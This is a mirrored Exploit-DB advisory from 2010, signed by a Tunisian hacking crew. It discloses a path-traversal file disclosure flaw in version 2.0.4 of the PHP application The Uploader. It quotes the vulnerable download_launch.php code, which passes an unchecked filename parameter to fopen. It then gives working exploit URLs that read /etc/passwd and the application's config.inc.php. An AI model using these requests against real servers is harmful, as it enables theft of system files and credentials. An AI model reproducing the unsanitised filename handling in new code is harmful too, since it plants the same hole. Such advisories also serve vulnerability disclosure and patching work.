The Uploader 2.0.4 – Remote File Disclosure - 体验盒子

作者： Xa7m3d

日期： 2010-06-22

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/13966/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

=================================================

The Uploader 2.0.4 Remote File disclosure Vulnerability

=================================================

==============================================

# Script Name : The Uploader

# Version : [2.0.4]

# Language : php

# Author : Xa7m3d (H4K@hotmail.ch)

# Download : http://sourceforge.net/projects/theuploader

# Tested on : ubuntu 9.10

==============================================

File Disclosure :

in : api/download_launch.php

#######################################

$open=fopen($main['upload_directory'] . $_GET['filename'], "r"); <??(+)

$size=filesize($main['upload_directory'] . $_GET['filename']);

$read=fread($open, $size);

header("Content-Type: application/octet-stream");

header("Content-Length: " . $size);

header("Content-Transfer-Encoding: binary");

header("Content-Disposition: attachment; filename=" . $_GET['filename']); <??(+)

#######################################

3XP :

api/download_launch.php?filename=../../../../../etc/passwd

Example :

http://server/theuploader/api/download_launch.php?filename=../config.inc.php

T3AM Piracy Unlimited Tunisia : # Cyb3R H3LL # k[i]ng # La Haft Xroy #